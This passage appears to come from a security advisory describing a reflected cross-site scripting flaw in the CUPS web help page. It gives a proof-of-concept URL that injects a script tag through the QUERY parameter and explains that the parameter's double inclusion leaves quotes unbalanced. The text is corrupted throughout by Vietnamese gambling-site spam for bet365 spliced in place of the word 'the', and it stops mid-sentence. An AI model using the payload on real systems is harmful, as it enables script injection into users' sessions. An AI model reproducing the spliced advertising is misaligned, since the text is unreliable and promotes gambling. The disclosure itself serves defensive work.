Requesting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following URI will demonstrate this reflected XSS:
http://localhost:631/help/?QUERY=%3Ca%20href=%22%20%3E%3Cscript%3Ealert%28%27Linux%20crickets%20chirping%20for%20a%20patch%27%29%3C/script%3E%3C!--&SEARCH=Search

The 'QUERY' parameter is included in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page twice, leading to multiple unbalanced double-quotes. As such, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 open comment string '